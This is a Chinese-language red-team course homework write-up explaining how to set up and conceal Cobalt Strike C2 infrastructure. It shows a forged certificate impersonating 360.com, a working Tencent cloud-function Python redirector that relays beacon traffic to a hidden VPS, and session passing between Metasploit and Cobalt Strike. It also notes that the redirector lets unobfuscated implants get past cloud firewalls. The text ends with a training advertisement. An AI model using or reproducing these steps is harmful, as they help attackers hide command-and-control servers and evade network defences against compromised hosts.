文章来源|MS08067 红队培训班第11节课作业
本文作者:汤浩荡(红队培训班学员)
Kali linux:cs客户端即msf。
阿里云VPS:充当cs服务端。
CS:
修改默认端口
进入cobaltstrike目录下,使用任意文本编辑器打开teamserver
翻到最后一行该默认的50050修改为任意未被占用端口即可。
修改证书
生成新的证书
keytool-keystore cobaltstrike.store -storepass Tanghd@1325 -keypass Tanghd@1325-genkey -keyalg RSA -alias 360.com -dname "CN=US, OU=360.com, O=Sofaware,L=Somewhere,ST=Cyberspace, C=CN" //即生成一个360的证书文件
若证书使用密码不为默认的123456,应修改teamserver中的密码:
ps:如果要修改密码只能先删除原有的cobaltstrike.store文件
查看证书是否修改完成:
按照老师给的profile文件根据自身需求,做出更改:
将证书文件密码进行修改,与自己的密码对应:
个人申请了阿里云的证书,但国内证书进行了实名登记,考虑到实际的隐蔽性,删除该部分:
其他不做修改,而后使用c2lint命令检查profile文件是否可用(chmod+x c2lint增加执行权限):
Get和post均返回200ok,该文件可用。
云函数
本次以腾讯云为例,进入云控制台,搜索框搜索云函数,跳转至函数服务,点击新建:
选择自定义创建——地点选择离自己最近的,选择python3.6,名称随意
复制以下代码,注意修改为自己的公网IP地址:
# -*- coding: utf8 -*-
import json,requests,base64
def main_handler(event, context):
C2='http://XX.XX.XX.59' # 这里可以使用 HTTP、HTTPS~下角标~
path=event['path']
headers=event['headers']
print(event)
if event['httpMethod'] == 'GET' :
resp=requests.get(C2+path,headers=headers,verify=False)
else:
resp=requests.post(C2+path,data=event['body'],headers=headers,verify=False)
print(resp.headers)
print(resp.content)
response={
"isBase64Encoded": True,
"statusCode": resp.status_code,
"headers": dict(resp.headers),
"body": str(base64.b64encode(resp.content))[2:-1]
}
return response
点击触发管理,创建触发器,按照如图所示进行选择操作,触发版本为$LATEST,触发方式为API网关触发,其他不做修改。
跳转至API网关控制台,点击服务,开通API网关,点击服务进行跳转,然后点击编辑,将路径修改为/,点击立即完成,发布服务
云函数配置完成,点击查看基本信息,查看公网域名
前往vps启动teamserver
本地kali连接并设置监听如下:
生成攻击载荷,上线靶机,并查看连接目的地址
作业完成。
MSF与CS互相转换
Msf转CS
Msf上线测试靶机,使用background隐藏session
使用payload_inject,设置好参数,lhost和lport设置为cs的监听设置,运行:
转换成功。
CS转MSF
需要msf首先开启mulit/hander模块的http侦听
cs设置外部http连接,如下图,标红处应对应msf所开启的监听端口和IP,如下图:
右键点击会话的spawn命令,选择该监听执行派生操作:
派生成功。
疑似阿里云防火墙会将攻击流量进行拦截,使用原生木马,即直接生成未进行免杀处理的,CS经常无法进行上线,通过云函数后每次都能成功。同时在进行shell操作即插件操作过程中,经常会reset会话重置,正在考虑更换为华为云。
号外
红队安全培训 第二期班 8月13号开班,第二期的课程大纲目录根据第一期班的同学的反馈和要求,做了重大调整,增加了更多的实战中红队的渗透思路和实战技巧干货,具体授课目录可联系小客服获取!
扫描下方二维码加入星球学习
加入后邀请你进入内部微信群,内部微信群永久有效!